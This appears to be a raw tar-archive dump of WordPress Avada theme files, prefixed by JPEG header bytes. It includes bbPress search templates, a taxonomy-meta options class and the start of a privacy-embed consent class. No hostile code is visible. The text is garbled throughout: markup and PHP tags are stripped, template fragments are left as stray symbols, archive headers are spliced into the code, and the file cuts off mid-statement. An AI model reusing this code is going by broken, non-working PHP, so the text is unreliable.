ÿØÿà JFIF    ÿÛ „ ( %!1!%*+...983,7(-.- index.php000064400000000034152342437700006370 0ustar00 Avada()->settings->get( 'search_form_design' ), 'live_search' => Avada()->settings->get( 'live_search' ), ]; Fusion_Searchform::get_form( $config ); Avada/bbpress/loop-single-reply.php000064400000003453152342437700013326 0ustar00
>
'', 'show_role' => true ) ); ?>
# ' | ' ) ); ?>
Avada/bbpress/loop-search-reply.php000064400000002670152342437700013312 0ustar00
>
'', 'show_role' => true ) ); ?>
# |
Avada/bbpress/loop-search-topic.php000064400000003740152342437700013274 0ustar00
>
'', 'show_role' => true ) ); ?>
#
|
Avada/bbpress/form-search.php000064400000001744152342437700012154 0ustar00 Avada/bbpress/content-search.php000064400000001245152342437700012657 0ustar00
Avada/includes/class-avada-taxonomy-meta.php000064400000117712152342437700015076 0ustar00fusion_meta_box = $config; // Add Actions. add_action( 'admin_init', [ $this, 'init_hooks' ] ); // Add styles and scripts. add_action( 'admin_print_styles', [ $this, 'add_scripts_styles' ] ); } /** * Taxonomy options map. * * @access public * @since 6.0 * @return array */ public static function avada_taxonomy_map() { // Allow regular logic to be skipped. $custom_options = apply_filters( 'before_avada_taxonomy_map', [] ); if ( ! empty( $custom_options ) || false === $custom_options ) { return $custom_options; } // Regular PTB TO. $page_title_option_name = 'page_title_bar'; if ( get_the_id() === (int) get_option( 'page_for_posts' ) ) { // Blog page PTB. $page_title_option_name = 'blog_show_page_title_bar'; } elseif ( ( isset( $_GET['taxonomy'] ) && ( 'post_tag' === $_GET['taxonomy'] || 'category' === $_GET['taxonomy'] ) ) || ( function_exists( 'fusion_is_preview_frame' ) && fusion_is_preview_frame() && is_single() ) ) { // phpcs:ignore WordPress.Security.NonceVerification // Blog archive/post PTB. $page_title_option_name = 'blog_page_title_bar'; } $page_title_option = Avada()->settings->get( $page_title_option_name ); // Check if we have a template override. $template_override = false; $ptb_override = false; if ( class_exists( 'Fusion_Template_Builder' ) ) { $template_override = Fusion_Template_Builder::get_instance()->get_override( 'content' ); $ptb_override = Fusion_Template_Builder::get_instance()->get_override( 'page_title_bar' ); } // Dependency check that page title bar not hidden. $page_title_dependency = [ [ 'field' => 'page_title', 'value' => 'no', 'comparison' => '!=', ], ]; if ( 'hide' === $page_title_option ) { $page_title_dependency[] = [ 'field' => 'page_title', 'value' => 'default', 'comparison' => '!=', ]; } // Dependency check that background is used. $page_title_bg_dependency = $page_title_dependency; $page_title_bg_dependency[] = [ 'field' => 'page_title', 'value' => 'yes_without_bar', 'comparison' => '!=', ]; if ( 'content_only' === $page_title_option ) { $page_title_bg_dependency[] = [ 'field' => 'page_title', 'value' => 'default', 'comparison' => '!=', ]; } // Get array of available sliders. $active_slider_types = avada_get_available_sliders_dropdown(); $sliders_array = avada_get_available_sliders_array(); $sections = []; $sections['taxonomy_options'] = [ 'label' => esc_html__( 'Avada Taxonomy Options', 'Avada' ), 'id' => 'taxonomy_options', 'class' => 'avada-tax-heading avada-tax-heading-edit', 'icon' => 'fusiona-page-options', 'fields' => [ 'fusion_tax_heading' => [ 'id' => 'fusion_tax_heading', 'label' => esc_html__( 'Avada Taxonomy Options', 'Avada' ), 'class' => 'avada-tax-heading avada-tax-heading-edit', 'type' => 'header', ], ], ]; $sections['taxonomy_options']['fields']['featured_image'] = [ 'id' => 'featured_image', 'label' => esc_html__( 'Featured Image', 'Avada' ), /* translators: Additional description (defaults). */ 'description' => esc_html__( 'Select an featured image to represent the term. This can then be used in dynamic data and post cards.' ), 'type' => 'media', 'transport' => 'postMessage', ]; if ( function_exists( 'fusion_is_preview_frame' ) && fusion_is_preview_frame() ) { // Click here for Avada Slider, Revolution Slider or Layer Slider. $sections['taxonomy_options']['fields']['sliders_note'] = [ 'label' => '', 'description' => '
' . avada_get_sliders_note( $sliders_array, $active_slider_types ) . '
', 'id' => 'sliders_note', 'type' => 'custom', ]; } $sections['taxonomy_options']['fields']['slider_type'] = [ 'id' => 'slider_type', 'label' => esc_html__( 'Slider Type ', 'Avada' ), 'choices' => $active_slider_types, 'default' => 'no', 'class' => 'avada-sliders-selection', 'description' => esc_html__( 'Select the type of slider that displays.', 'Avada' ), 'type' => 'select', 'transport' => 'postMessage', 'partial_refresh' => [ 'fusion_slider_change' => [ 'selector' => '#sliders-container', 'container_inclusive' => false, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'avada_slider' ], ], ], ]; if ( class_exists( 'LS_Sliders' ) ) { $sections['taxonomy_options']['fields']['slider'] = [ 'id' => 'slider', 'label' => __( 'Select LayerSlider ', 'Avada' ), 'choices' => $sliders_array['layer_sliders'], 'default' => 0, 'class' => 'avada-sliders-group avada-layer-slider', 'description' => __( 'Select the unique name of the slider.', 'Avada' ), 'dependency' => [ [ 'field' => 'slider_type', 'value' => 'layer', 'comparison' => '==', ], ], 'type' => 'select', 'transport' => 'postMessage', 'partial_refresh' => [ 'fusion_slider_change' => [ 'selector' => '#sliders-container', 'container_inclusive' => false, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'avada_slider' ], ], ], ]; } if ( method_exists( 'FusionCore_Plugin', 'get_fusion_sliders' ) ) { $sections['taxonomy_options']['fields']['wooslider'] = [ 'id' => 'wooslider', 'label' => __( 'Select Avada Slider ', 'Avada' ), 'choices' => $sliders_array['fusion_sliders'], 'default' => 0, 'class' => 'avada-sliders-group avada-flex-slider', 'description' => __( 'Select the unique name of the slider.', 'Avada' ), 'dependency' => [ [ 'field' => 'slider_type', 'value' => 'flex', 'comparison' => '==', ], ], 'type' => 'select', 'transport' => 'postMessage', 'partial_refresh' => [ 'fusion_slider_change' => [ 'selector' => '#sliders-container', 'container_inclusive' => false, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'avada_slider' ], ], ], ]; } if ( function_exists( 'rev_slider_shortcode' ) ) { $sections['taxonomy_options']['fields']['revslider'] = [ 'id' => 'revslider', 'label' => esc_html__( 'Select Slider Revolution Slider', 'Avada' ), 'choices' => $sliders_array['rev_sliders'], 'default' => 0, 'class' => 'avada-sliders-group avada-rev-slider', 'description' => esc_html__( 'Select the unique name of the slider.', 'Avada' ), 'dependency' => [ [ 'field' => 'slider_type', 'value' => 'rev', 'comparison' => '==', ], ], 'type' => 'select', 'transport' => 'postMessage', 'partial_refresh' => [ 'fusion_slider_change' => [ 'selector' => '#sliders-container', 'container_inclusive' => false, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'avada_slider' ], ], ], ]; } if ( true === taxonomy_exists( 'themefusion_es_groups' ) ) { $sections['taxonomy_options']['fields']['elasticslider'] = [ 'id' => 'elasticslider', 'label' => esc_html__( 'Select Elastic Slider', 'Avada' ), 'choices' => $sliders_array['elastic_sliders'], 'default' => 0, 'class' => 'avada-sliders-group avada-elastic-slider', 'description' => esc_html__( 'Select the unique name of the slider.', 'Avada' ), 'dependency' => [ [ 'field' => 'slider_type', 'value' => 'elastic', 'comparison' => '==', ], ], 'type' => 'select', 'transport' => 'postMessage', 'partial_refresh' => [ 'fusion_slider_change' => [ 'selector' => '#sliders-container', 'container_inclusive' => false, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'avada_slider' ], ], ], ]; } $sections['taxonomy_options']['fields']['slider_position'] = [ 'id' => 'slider_position', 'label' => esc_html__( 'Slider Position', 'Avada' ), 'choices' => [ 'default' => esc_html__( 'Default', 'Avada' ), 'below' => esc_html__( 'Below', 'Avada' ), 'above' => esc_html__( 'Above', 'Avada' ), ], 'default' => 'default', 'class' => 'avada-sliders-group avada-slider-buttonset', /* translators: Additional description (defaults). */ 'description' => sprintf( esc_html__( 'Select if the slider shows below or above the header. Only works for top header position. %s', 'Avada' ), Avada()->settings->get_default_description( 'slider_position', '', 'select' ) ), 'to_default' => [ 'id' => 'slider_position', ], 'dependency' => [ [ 'field' => 'slider_type', 'value' => 'no', 'comparison' => '!=', ], ], 'type' => 'radio-buttonset', ]; $is_builder = isset( $_GET['builder'] ) && isset( $_GET['builder_id'] ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended $sections['taxonomy_options']['fields']['slider_visibility'] = [ 'id' => 'slider_visibility', 'label' => esc_attr__( 'Slider Visibility', 'Avada' ), /* translators: Global Options link. */ 'description' => sprintf( esc_html__( 'Choose to show or hide the slider on small, medium or large screens. You can choose more than one at a time. Each of the 3 sizes has a custom width setting on the Responsive tab in the. %s.', 'Avada' ), '' . apply_filters( 'fusion_options_label', esc_html__( 'Element Options', 'Avada' ) ) . '' ), 'value' => [ 'small-visibility' => $is_builder ? '|' . esc_attr__( 'Small Screen', 'Avada' ) : esc_attr__( 'Small Screen', 'Avada' ), 'medium-visibility' => $is_builder ? '|' . esc_attr__( 'Medium Screen', 'Avada' ) : esc_attr__( 'Medium Screen', 'Avada' ), 'large-visibility' => $is_builder ? '|' . esc_attr__( 'Large Screen', 'Avada' ) : esc_attr__( 'Large Screen', 'Avada' ), ], 'default' => 'small-visibility,medium-visibility,large-visibility', 'transport' => 'postMessage', 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'change_slider_visibility', [ 'element' => '#sliders-container', ], ], 'sanitize_callback' => '__return_empty_string', ], ], 'dependency' => [ [ 'field' => 'slider_type', 'value' => 'no', 'comparison' => '!=', ], ], 'type' => 'checkbox-buttonset', ]; if ( ! $template_override ) { $sections['taxonomy_options']['fields']['main_padding'] = [ 'id' => 'main_padding', 'label' => esc_html__( 'Page Content Padding', 'Avada' ), /* translators: Additional description (defaults). */ 'description' => sprintf( esc_html__( 'In pixels ex: 20px. %s', 'Avada' ), Avada()->settings->get_default_description( 'main_padding', [ 'top', 'bottom' ] ) ), 'type' => 'dimensions', 'value' => [ 'top' => '', 'bottom' => '', ], 'location' => 'TAXO', 'css_vars' => [ [ 'name' => '--main_padding-top', 'element' => '#main', ], [ 'name' => '--main_padding-bottom', 'element' => '#main', ], ], ]; } $sections['taxonomy_options']['fields']['archive_header_bg_color'] = [ 'id' => 'archive_header_bg_color', 'label' => __( 'Header Background Color', 'Avada' ), /* translators: Additional description (defaults). */ 'description' => sprintf( esc_html__( 'Controls the background color for the header. Hex code or rgba value, ex: #000. %s', 'Avada' ), Avada()->settings->get_default_description( 'archive_header_bg_color' ) ), 'default' => Avada()->settings->get( 'archive_header_bg_color' ), 'type' => 'color-alpha', 'location' => 'TAXO', 'css_vars' => [ [ 'name' => '--header_bg_color', 'element' => '#side-header,.fusion-header', 'callback' => [ 'sanitize_color' ], ], [ 'name' => '--archive_header_bg_color', 'element' => '#side-header,.fusion-header', 'callback' => [ 'sanitize_color' ], ], ], 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ '', 'header-not-opaque' ], 'element' => 'html, .avada-html-is-archive', 'className' => 'avada-header-color-not-opaque', ], ], 'sanitize_callback' => '__return_empty_string', ], ], ]; $sections['taxonomy_options']['fields']['mobile_archive_header_bg_color'] = [ 'id' => 'mobile_archive_header_bg_color', 'label' => esc_html__( 'Mobile Header Background Color', 'Avada' ), /* translators: Additional description (defaults). */ 'description' => sprintf( esc_html__( 'Controls the background color for the header on mobile devices. Hex code or rgba value, ex: #000. %s', 'Avada' ), Avada()->settings->get_default_description( 'mobile_archive_header_bg_color' ) ), 'default' => Avada()->settings->get( 'mobile_archive_header_bg_color' ), 'type' => 'color-alpha', 'location' => 'TAXO', 'css_vars' => [ [ 'name' => '--mobile_header_bg_color', 'callback' => [ 'sanitize_color' ], ], ], ]; if ( ! $ptb_override ) { $sections['taxonomy_options']['fields']['page_title_bar'] = [ 'id' => 'page_title_bar', 'label' => esc_html__( 'Page Title Bar', 'Avada' ), /* translators: Additional description (defaults). */ 'description' => sprintf( esc_html__( 'Choose to show or hide the page title bar. %s', 'Avada' ), Avada()->settings->get_default_description( $page_title_option_name, '', 'select' ) ), 'dependency' => [], 'type' => 'select', 'choices' => [ 'default' => esc_html__( 'Default', 'Avada' ), 'yes' => esc_html__( 'Show Bar and Content', 'Avada' ), 'yes_without_bar' => esc_html__( 'Show Content Only', 'Avada' ), 'no' => esc_html__( 'Hide', 'Avada' ), ], 'default' => 'default', // We're forcing a refresh here because the TO option varies // depending on the context of the current page, and also because // the actual values of TO options are completely different to those in the PO. 'transport' => 'refresh', 'to_default' => [ 'id' => $page_title_option_name, ], ]; $sections['taxonomy_options']['fields']['page_title_bg'] = [ 'id' => 'page_title_bg', 'label' => esc_html__( 'Page Title Bar Background', 'Avada' ), /* translators: Additional description (defaults). */ 'description' => sprintf( esc_html__( 'Select an image to use for the page title bar background. %s', 'Avada' ), Avada()->settings->get_default_description( 'page_title_bg', 'url' ) ), 'type' => 'media', 'dependency' => $page_title_bg_dependency, ]; $sections['taxonomy_options']['fields']['page_title_bg_retina'] = [ 'id' => 'page_title_bg_retina', 'label' => esc_html__( 'Page Title Bar Background Retina', 'Avada' ), /* translators: esc_html__ description (defaults). */ 'description' => sprintf( esc_html__( 'Select an image to use for retina devices. %s', 'Avada' ), Avada()->settings->get_default_description( 'page_title_bg_retina', 'url' ) ), 'type' => 'media', 'dependency' => [ [ 'field' => 'page_title_bg', 'value' => '', 'comparison' => '!=', ], ], $page_title_dependency, ]; $sections['taxonomy_options']['fields']['page_title_height'] = [ 'id' => 'page_title_height', 'label' => esc_html__( 'Page Title Bar Height', 'Avada' ), /* translators: percetange sign and additional description (defaults). */ 'description' => sprintf( esc_html__( 'Controls the height of the page title bar on desktop. Enter value including any valid CSS unit besides %1$s which does not work for page title bar, ex: 87px. %2$s', 'Avada' ), '%', Avada()->settings->get_default_description( 'page_title_height' ) ), 'type' => 'text', 'location' => 'TAXO', 'css_vars' => [ [ 'name' => '--page_title_height', 'element' => '.fusion-page-title-bar', ], ], 'dependency' => $page_title_dependency, ]; $sections['taxonomy_options']['fields']['page_title_mobile_height'] = [ 'id' => 'page_title_mobile_height', 'label' => esc_html__( 'Page Title Bar Mobile Height', 'Avada' ), /* translators: Percentage sign and additional description (defaults). */ 'description' => sprintf( esc_html__( 'Controls the height of the page title bar on mobile. Enter value including any valid CSS unit besides %1$s which does not work for page title bar, ex: 70px. %2$s', 'Avada' ), '%', Avada()->settings->get_default_description( 'page_title_mobile_height' ) ), 'type' => 'text', 'location' => 'TAXO', 'css_vars' => [ [ 'name' => '--page_title_mobile_height', ], ], 'dependency' => $page_title_dependency, ]; } return $sections; } /** * Add Meta Boxes for post types. * * @access public * @since 5.3 */ public function init_hooks() { // Loop through array and init hooks. foreach ( $this->fusion_meta_box['screens'] as $screen ) { // add fields to edit form. add_action( $screen . '_edit_form', [ $this, 'render_edit_form' ] ); // add fields to add new form. add_action( $screen . '_add_form_fields', [ $this, 'render_new_form' ] ); // this saves the edit fields. add_action( 'edited_' . $screen, [ $this, 'save_data' ] ); // this saves the add fields. add_action( 'created_' . $screen, [ $this, 'save_data' ] ); } } /** * Add styles and scripts. * * @access public * @since 5.3 */ public function add_scripts_styles() { $screen = get_current_screen(); // Add resources on required screens only. if ( 'edit-tags' === $screen->base || 'term' === $screen->base ) { $ver = Avada::get_theme_version(); if ( function_exists( 'AWB_Global_Colors' ) ) { AWB_Global_Colors()->enqueue(); } // Enqueu built-in script and styles for media JavaScript APIs. wp_enqueue_media(); wp_enqueue_script( 'avada-tax-meta-js', Avada::$template_dir_url . '/assets/admin/js/avada-tax-meta.js', [ 'jquery' ], $ver, true ); wp_enqueue_style( 'avada-tax-meta-css', Avada::$template_dir_url . '/assets/admin/css/avada-tax-meta.css', [], $ver ); wp_enqueue_script( 'selectwoo-js', Avada::$template_dir_url . '/assets/admin/js/selectWoo.full.min.js', [ 'jquery' ], $ver, false ); wp_enqueue_style( 'select2-css', Avada::$template_dir_url . '/assets/admin/css/select2.css', [], $ver, 'all' ); } } /** * Set type of the form. * * @access public * @since 5.3 * @param string $type Type of the form. */ public function set_form_type( $type ) { $this->form_type = $type; } /** * Callback function to show fields on term edit form. * * @access public * @since 5.3 * @param mixed $term_id ID of current term. */ public function render_edit_form( $term_id ) { $this->set_form_type( 'edit' ); $this->render_fields( $term_id ); } /** * Callback function to show fields on add new taxonomy term form. * * @access public * @since 5.3 * @param mixed $term_id ID of current term. */ public function render_new_form( $term_id ) { $this->set_form_type( 'new' ); $this->render_fields( $term_id ); } /** * Callback function to show fields in meta box. * * @access public * @since 5.3 * @param mixed $term_id ID of current term. */ public function render_fields( $term_id ) { // Check for Object. $term_id = is_object( $term_id ) ? $term_id->term_id : $term_id; if ( 'edit' === $this->form_type ) { // Check if we have a template override. $template_override = false; $ptb_override = false; $header_override = false; if ( class_exists( 'Fusion_Template_Builder' ) ) { $template_override = Fusion_Template_Builder::get_instance()->get_override( 'content' ); $ptb_override = Fusion_Template_Builder::get_instance()->get_override( 'page_title_bar' ); $header_override = Fusion_Template_Builder::get_instance()->get_override( 'header' ); } ?>

meta_fields as $field ) { $name = $field['id']; // Field value. $meta = fusion_data()->term_meta( $term_id )->get( $name ); $meta = ( null === $meta ) ? '' : $meta; $meta = ( '' !== $meta ) ? $meta : ( ( isset( $field['default'] ) && 'color' !== $field['type'] ) ? $field['default'] : '' ); if ( 'image' !== $field['type'] ) { $meta = is_array( $meta ) ? array_map( 'esc_attr', $meta ) : esc_attr( $meta ); } if ( 'edit' === $this->form_type ) { ?> form_type ) { ?> form_type ) { ?>
fusion_meta_box['screens'] ) ) || ( ! current_user_can( 'manage_categories' ) ) ) { // phpcs:ignore WordPress.PHP.StrictInArray return $term_id; } foreach ( $this->meta_fields as $field ) { $value = isset( $_POST[ $field['id'] ] ) ? wp_unslash( $_POST[ $field['id'] ] ) : ''; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput if ( is_string( $value ) && 0 === strpos( $value, '{"' ) ) { $json = json_decode( $value, true ); if ( $json ) { $value = $json; }; } fusion_data()->term_meta( $term_id )->set( $field['id'], $value ); } // Reset all caches except demo_data, fb_pages and patcher_messages. fusion_reset_all_caches( [ 'demo_data' => false, 'fb_pages' => false, 'patcher_messages' => false, ] ); } /** * Add Text Field to meta box * * @access public * @since 5.3 * @param string $id ID of the field. * @param array $args field aruguments. */ public function text( $id, $args ) { $field = [ 'type' => 'text', 'id' => $id, 'default' => '', 'class' => '', 'desc' => '', 'style' => '', 'name' => 'Text Field', ]; $field = array_merge( $field, $args ); $this->meta_fields[] = $field; } /** * Add Text Field to meta box * * @access public * @since 5.3 * @param string $id ID of the field. * @param array $args field aruguments. */ public function dimensions( $id, $args ) { $field = [ 'type' => 'dimensions', 'id' => $id, 'default' => '', 'class' => '', 'desc' => '', 'style' => '', 'name' => 'Dimension Field', ]; $field = array_merge( $field, $args ); $this->meta_fields[] = $field; } /** * Add Select Field to meta box * * @access public * @since 5.3 * @param string $id ID of the field. * @param array $options Array of available options. * @param array $args Field aruguments. */ public function select( $id, $options, $args ) { $field = [ 'type' => 'select', 'id' => $id, 'default' => '', 'class' => '', 'desc' => '', 'style' => '', 'name' => 'Select Field', 'options' => $options, ]; $field = array_merge( $field, $args ); $this->meta_fields[] = $field; } /** * Add Radio Button Field to meta box * * @access public * @since 5.3 * @param string $id ID of the field. * @param array $options Array of available options. * @param array $args Field aruguments. */ public function radio_buttonset( $id, $options, $args ) { $field = [ 'type' => 'radio_buttonset', 'id' => $id, 'default' => '', 'class' => '', 'desc' => '', 'style' => '', 'name' => 'Radio Field', 'options' => $options, ]; $field = array_merge( $field, $args ); $this->meta_fields[] = $field; } /** * Add Checkboxn Field to meta box * * @access public * @since 7.4 * @param string $id ID of the field. * @param array $options Array of available options. * @param array $args Field aruguments. */ public function checkbox_buttonset( $id, $options, $args ) { $field = [ 'type' => 'checkbox_buttonset', 'id' => $id, 'default' => '', 'class' => '', 'desc' => '', 'style' => '', 'name' => 'Checkbox Field', 'options' => $options, ]; $field = array_merge( $field, $args ); $this->meta_fields[] = $field; } /** * Add Color Picket Field to meta box * * @access public * @since 5.3 * @param string $id ID of the field. * @param array $args Field aruguments. */ public function colorpicker( $id, $args ) { $field = [ 'type' => 'color', 'id' => $id, 'default' => '', 'class' => '', 'desc' => '', 'style' => '', 'name' => 'ColorPicker Field', ]; $field = array_merge( $field, $args ); $this->meta_fields[] = $field; } /** * Add Color Picket Field to meta box * * @access public * @since 5.3 * @param string $id ID of the field. * @param array $args Field aruguments. */ public function image( $id, $args ) { $field = [ 'type' => 'image', 'id' => $id, 'default' => '', 'class' => '', 'desc' => '', 'style' => '', 'url' => '', 'name' => 'Image Field', ]; $field = array_merge( $field, $args ); $this->meta_fields[] = $field; } /** * Add header to meta box * * @access public * @since 5.3 * @param string $id ID of the field. * @param array $args Field aruguments. */ public function header( $id, $args ) { $field = [ 'type' => 'header', 'id' => $id, 'value' => '', 'style' => '', 'default' => '', ]; $field = array_merge( $field, $args ); $this->meta_fields[] = $field; } /** * Render dependency markup. * * @since 5.3 * @param array $dependency dependence options. * @return string $data_dependence markup */ private function render_dependency( $dependency = [] ) { // Disable dependencies if 'dependencies_status' is set to 0. if ( '0' === Avada()->settings->get( 'dependencies_status' ) ) { return ''; } $data_dependency = ''; if ( 0 < count( $dependency ) ) { $data_dependency .= '
'; foreach ( $dependency as $dependence ) { $data_dependency .= ''; } $data_dependency .= '
'; } return $data_dependency; } /** * Show Field Text. * * @access public * @since 5.3 * @param array $field Field data. * @param string $meta Meta data. */ public function render_field_text( $field, $meta ) { $this->render_field_start( $field, $meta ); ?> render_field_end( $field, $meta ); } /** * Dimensions field. * * @since 6.2.0 * @param array $field Field data. * @param string $meta Meta data. */ public function render_field_dimensions( $field, $meta ) { $meta = (array) $meta; $this->render_field_start( $field, $meta ); ?>
$default_val ) : ?>
" id="pyre_" value="" />
render_field_end( $field, $meta ); } /** * Show Field Select. * * @access public * @since 5.3 * @param array $field Field data. * @param string $meta Meta data. */ public function render_field_select( $field, $meta ) { if ( ! is_array( $meta ) ) { $meta = (array) $meta; } $this->render_field_start( $field, $meta ); ?> render_field_end( $field, $meta ); } /** * Show Radio Buttonset Field. * * @access public * @since 5.3 * @param array $field Field data. * @param string $meta Meta data. */ public function render_field_radio_buttonset( $field, $meta ) { if ( empty( $meta ) ) { $meta = 'default'; } $this->render_field_start( $field, $meta ); ?>
$option ) : ?>
render_field_end( $field, $meta ); } /** * Show Checkbox buttonset Field. * * @access public * @since 7.3 * @param array $field Field data. * @param string $meta Meta data. */ public function render_field_checkbox_buttonset( $field, $meta ) { if ( empty( $meta ) ) { $meta = 'default'; } $meta = ! is_array( $meta ) ? explode( ',', $meta ) : $meta; $this->render_field_start( $field, $meta ); ?>
$option ) : ?>
render_field_end( $field, $meta ); } /** * Show Color Picker. * * @access public * @since 5.3 * @param array $field Field data. * @param string $meta Meta data. */ public function render_field_color( $field, $meta ) { $this->render_field_start( $field, $meta ); ?> render_field_end( $field, $meta ); } /** * Show Image Field. * * @access public * @since 5.3 * @param array $field Field data. * @param string $meta Meta data. */ public function render_field_image( $field, $meta ) { $this->render_field_start( $field, $meta ); $image_url = ( isset( $meta['url'] ) && ! empty( $meta['url'] ) ) ? $meta['url'] : ''; $preview_style = 'max-width:100%'; ?> render_field_end( $field, $meta ); } /** * Show header. * * @access public * @since 5.3 * @param array $field Field data. * @param array $meta Meta data. */ public function render_field_header( $field, $meta ) { ?> form_type ) : ?>

form_type ) : ?>

form_type ) : ?>
form_type ) : ?>

form_type ) : ?>

render_dependency( $field['dependency'] ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } ?>

form_type ) : ?> form_type ) { ?>
set_cookie_args(); $this->set_embed_types(); $this->set_consents(); add_action( 'after_setup_theme', [ $this, 'set_embed_types_names'] ); add_action( 'init', [ $this, 'init' ] ); } /** * Init. * * @access public * @since 5.5.2 * @return void */ public function init() { $this->set_options(); $this->set_cookie_expiry(); $this->update_embed_types(); $this->set_default_consents(); // Only run filter if privacy TO is enabled and we do not already have all consents. if ( $this->options['privacy_embeds'] && ! $this->all_consents ) { add_filter( 'do_shortcode_tag', [ $this, 'shortcode_replace' ], 20, 4 ); add_filter( 'the_content', [ $this, 'replace' ], 99999 ); add_filter( 'privacy_iframe_embed', [ $this, 'replace' ], 20 ); add_filter( 'privacy_script_embed', [ $this, 'script_block' ], 20, 5 ); add_filter( 'privacy_image_embed', [ $this, 'image_block' ], 20, 5 ); add_filter( 'fusion_attr_google-map-shortcode', [ $this, 'hide_google_map' ] ); add_filter( 'fusion_attr_avada-google-map', [ $this, 'hide_google_map' ] ); add_filter( 'fusion_google_analytics', [ $this, 'tracking_script_replace' ], 20 ); if ( ! is_admin() ) { add_filter( 'script_loader_tag', [ $this, 'replace_script_loader_tag' ], 20, 3 ); add_filter( 'wp_video_shortcode', [ $this, 'video_widget' ], 20, 5 ); } } if ( $this->options['privacy_embeds'] ) { add_filter( 'avada_dynamic_css_array', [ $this, 'add_styling' ] ); } if ( apply_filters( 'fusion_privacy_bar', '0' !== $this->options['privacy_bar'] ) ) { add_filter( 'avada_dynamic_css_array', [ $this, 'add_bar_styling' ] ); add_action( 'wp_footer', [ $this, 'display_privacy_bar' ], 10 ); } } /** * Filter video widget for youtube and vimeo videos. * * @access public * @since 6.0.3 * @param string $output String output. * @param array $atts Instance attributes. * @param string $video The video file. * @param int $post_id Post ID. * @param string $library Media library used for the video shortcode. * @return string $output */ public function video_widget( $output, $atts, $video, $post_id, $library ) { $consents = [ 'youtube', 'vimeo' ]; if ( isset( $atts['src'] ) ) { foreach ( $consents as $consent ) { if ( ! $this->search( $consent, $atts['src'] ) ) { continue; } if ( $this->get_consent( $consent ) ) { return $output; } $output = ''; $output .= $this->script_placeholder( $consent, false, false ); return $output; } } return $output; } /** * Gets the options for privacy embeds. * * @access public * @since 5.7 * @return array */ public function get_options() { return $this->options; } /** * Sets the options for privacy embeds. * * @access public * @since 5.7 * @return void */ public function set_options() { $privacy_bar = Avada()->settings->get( 'privacy_bar' ); // Check for app full refresh data. if ( function_exists( 'fusion_is_preview_frame' ) && fusion_is_preview_frame() && ! empty( Fusion_App()->get_data( 'fusion_options' ) ) ) { $privacy_bar = Fusion_App()->get_data( 'fusion_options' )['privacy_bar']; } $this->options = apply_filters( 'avada_privacy_options', [ 'privacy_embeds' => Avada()->settings->get( 'privacy_embeds' ), 'privacy_bar' => $privacy_bar, 'privacy_expiry' => Avada()->settings->get( 'privacy_expiry' ), 'privacy_embed_types' => Avada()->settings->get( 'privacy_embed_types' ), 'privacy_embed_defaults' => Avada()->settings->get( 'privacy_embed_defaults' ), 'privacy_bar_content' => Avada()->settings->get( 'privacy_bar_content' ), 'privacy_bg_color' => 'var(--privacy_bg_color)', 'privacy_color' => 'var(--privacy_color)', 'privacy_bar_bg_color' => 'var(--privacy_bar_bg_color)', 'privacy_bar_color' => 'var(--privacy_bar_color)', 'privacy_bar_link_color' => 'var(--privacy_bar_link_color)', 'privacy_bar_link_hover_color' => 'var(--privacy_bar_link_hover_color)', 'privacy_bar_padding' => [ 'top' => 'var(--privacy_bar_padding-top)', 'right' => 'var(--privacy_bar_padding-right)', 'bottom' => 'var(--privacy_bar_padding-bottom)', 'left' => 'var(--privacy_bar_padding-left)', ], 'privacy_bar_button_save' => Avada()->settings->get( 'privacy_bar_button_save' ), 'privacy_bar_text' => Avada()->settings->get( 'privacy_bar_text' ), 'privacy_bar_button_text' => Avada()->settings->get( 'privacy_bar_button_text' ), 'privacy_bar_more_text' => Avada()->settings->get( 'privacy_bar_more_text' ), 'privacy_bar_headings_color' => 'var(--privacy_bar_headings_color)', 'privacy_bar_font_size' => 'var(--privacy_bar_font_size)', 'privacy_bar_headings_font_size' => 'var(--privacy_bar_headings_font_size)', ] ); } /** * Sets the args for the cookie. * * @access public * @since 5.5.2 * @return void */ public function set_cookie_args() { // Filterable time for expiration. $default_args = [ 'name' => 'privacy_embeds', 'days' => '30', 'path' => '/', ]; $this->cookie_args = apply_filters( 'fusion_privacy_cookie_args', $default_args ); } /** * Sets the expiry for the cookie. * * @access public * @since 5.5.2 * @return void */ public function set_cookie_expiry() { $this->cookie_args['days'] = $this->options['privacy_expiry']; } /** * Gets the args for the cookie. * * @access public * @since 5.5.2 * @return array */ public function get_cookie_args() { return $this->cookie_args; } /** * Sets array of embed types. * * @access public * @since 5.5.2 * @return void */ public function set_embed_types() { $this->embed_types = apply_filters( 'fusion_privacy_embeds', [ 'youtube' => [ 'search' => 'youtube.com', 'label' => '', ], 'vimeo' => [ 'search' => 'vimeo.com', 'label' => '', ], 'soundcloud' => [ 'search' => 'soundcloud.com', 'label' => '', ], 'facebook' => [ 'search' => 'facebook.com', 'label' => '', ], 'flickr' => [ 'search' => 'flickr.com', 'label' => '', ], 'twitter' => [ 'search' => 'twitter.com', 'label' => '', ], 'gmaps' => [ 'search' => [ 'maps.googleapis.com', 'infobox_packed', 'google.com/maps/embed', ], 'label' => '', ], 'instagram' => [ 'search' => [ 'cdninstagram.com', 'instagram.', 'fbcdn.net', ], 'label' => '', ], 'tracking' => [ 'search' => [], 'label' => '', ], ] ); $this->embed_defaults = $this->embed_types; } /** * Sets the labels of embed types. Needs to be done on after_setup_theme to avoid text domain PHP notice. * * @access public * @since 7.11.15 * @return void */ public function set_embed_types_names() { $types_and_names = [ 'youtube' => esc_html__( 'YouTube', 'Avada' ), 'vimeo' => esc_html__( 'Vimeo', 'Avada' ), 'soundcloud' => esc_html__( 'SoundCloud', 'Avada' ), 'facebook' => esc_html__( 'Facebook', 'Avada' ), 'flickr' => esc_html__( 'Flickr', 'Avada' ), 'twitter' => esc_html__( 'X', 'Avada' ), 'gmaps' => esc_html__( 'Google Maps', 'Avada' ), 'instagram' => esc_html__( 'Instagram', 'Avada' ), 'tracking' => esc_html__( 'Tracking Cookies', 'Avada' ), ]; foreach( $this->embed_types as $key => $data ) { if ( isset( $types_and_names[ $key ] ) ) { 